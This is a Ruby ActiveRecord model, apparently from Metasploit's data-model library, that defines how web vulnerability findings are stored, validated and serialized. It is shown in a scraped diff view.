class Mdm::WebVuln < ActiveRecord::Base
|
||||
#
|
||||
# CONSTANTS
|
||||
#
|
||||
|
||||
# A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there
|
||||
# shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding.
|
||||
CONFIDENCE_RANGE = 1 .. 100
|
||||
|
||||
# Default value for {#params}
|
||||
DEFAULT_PARAMS = []
|
||||
|
||||
# Allowed {#method methods}.
|
||||
METHODS = [
|
||||
'GET',
|
||||
# XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb
|
||||
'PATH',
|
||||
'POST'
|
||||
]
|
||||
|
||||
# {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky).
|
||||
RISK_RANGE = 0 .. 5
|
||||
|
||||
#
|
||||
# Associations
|
||||
#
|
||||
|
||||
belongs_to :web_site, :class_name => 'Mdm::WebSite'
|
||||
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
|
||||
# @!attribute [rw] blame
|
||||
# Who to blame for the vulnerability
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] category
|
||||
# Category of this vulnerability.
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] confidence
|
||||
# Percentage confidence scanner or auditor has that this vulnerability is not a false positive
|
||||
#
|
||||
# @return [Integer] 1% to 100%
|
||||
|
||||
# @!attribute [rw] description
|
||||
# Description of the vulnerability
|
||||
#
|
||||
# @return [String, nil]
|
||||
|
||||
# @!attribute [rw] method
|
||||
# HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method.
|
||||
#
|
||||
# @return [String]
|
||||
# @see METHODS
|
||||
|
||||
# @!attribute [rw] name
|
||||
# Name of the vulnerability
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] path
|
||||
# Path portion of URL
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] payload
|
||||
# Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities.
|
||||
#
|
||||
# @return [String, nil]
|
||||
|
||||
# @!attribute [rw] pname
|
||||
# Name of parameter that demonstrates vulnerability
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] proof
|
||||
# String that proves vulnerability, such as a code snippet, etc.
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] query
|
||||
# The GET query.
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] request
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
# @!attribute [rw] risk
|
||||
# {RISK_RANGE Risk} of leaving this vulnerability unpatched.
|
||||
#
|
||||
# @return [Integer]
|
||||
|
||||
#
|
||||
# Validations
|
||||
#
|
||||
|
||||
validates :category, :presence => true
|
||||
validates :confidence,
|
||||
:inclusion => {
|
||||
:in => CONFIDENCE_RANGE
|
||||
}
|
||||
validates :method,
|
||||
:inclusion => {
|
||||
:in => METHODS
|
||||
}
|
||||
validates :name, :presence => true
|
||||
validates :path, :presence => true
|
||||
validates :pname, :presence => true
|
||||
validates :proof, :presence => true
|
||||
validates :risk,
|
||||
:inclusion => {
|
||||
:in => RISK_RANGE
|
||||
}
|
||||
validates :web_site, :presence => true
|
||||
|
||||
#
|
||||
# Serializations
|
||||
#
|
||||
|
||||
# @!attribute [rw] params
|
||||
# Parameters sent as part of request
|
||||
#
|
||||
# @return [Array<Array<(String, String)>>] Array of parameter key value pairs
|
||||
serialize :params, MetasploitDataModels::Base64Serializer.new(:default => DEFAULT_PARAMS)
|
||||
|
||||
#
|
||||
# Methods
|
||||
#
|
||||
|
||||
# Parameters sent as part of request.
|
||||
#
|
||||
# @return [Array<Array<(String, String)>>]
|
||||
def params
|
||||
normalize_params(
|
||||
read_attribute(:params)
|
||||
)
|
||||
end
|
||||
|
||||
# Set parameters sent as part of request.
|
||||
#
|
||||
# @param params [Array<Array<(String, String)>>, nil] Array of parameter key value pairs
|
||||
# @return [void]
|
||||
def params=(params)
|
||||
write_attribute(
|
||||
:params,
|
||||
normalize_params(params)
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Creates a duplicate of {DEFAULT_PARAMS} that is safe to modify.
|
||||
#
|
||||
# @return [Array] an empty array
|
||||
def default_params
|
||||
DEFAULT_PARAMS.dup
|
||||
end
|
||||
|
||||
# Returns either the given params or {DEFAULT_PARAMS} if params is `nil`
|
||||
#
|
||||
# @param [Array<Array<(String, String)>>, nil] params
|
||||
# @return [Array<<Array<(String, String)>>] params if not `nil`
|
||||
# @return [nil] if params is `nil`
|
||||
def normalize_params(params)
|
||||
params || default_params
|
||||
end
|
||||
|
||||
# switch back to public for load hooks
|
||||
public
|
||||
|
||||
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
|
||||
end
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue